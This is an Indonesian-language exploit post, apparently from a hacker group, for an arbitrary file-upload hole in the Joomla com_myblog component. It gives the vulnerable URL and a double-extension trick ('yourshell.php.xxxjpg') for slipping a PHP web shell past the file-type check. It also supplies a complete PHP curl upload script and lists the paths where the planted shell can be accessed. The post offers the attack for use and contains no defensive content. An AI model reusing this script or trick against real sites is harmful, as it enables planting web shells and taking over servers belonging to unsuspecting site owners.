SiPengembara Gila

Langsung aja gausah banyak bacod

expliot "joomla com_myblog"

Dork: no dork for child [ Use your brain ]

Exploit: people_hurt/index.php?option=com_myblog&task=ajaxupload

Vuln code : {error: 'No file has been uploaded.', msg: '' }

Type file : jpg, gif, jpeg, bmp, swf, doc etc.

Ubah shell anda menjadi yourshell.php.xxxjpg
Saran: upload dulu uploader, Karena file yg diminta ukurannya kecil.

Code php:
<?php
$uploadfile="yourshell.php.xxxjpg";
$ch = curl_init("http://target/index.php?option=com_myblog&task=ajaxupload");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('fileToUpload'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>

Shell acces :
target/images/yourshell.php.xxxjpg
target/images/0/yourshell.php.xxxjpg
target/images/blog/yourshell.php.xxxjpg

Oke segitu aja  

Author : people_hurt - Indonesian Cyber Freedom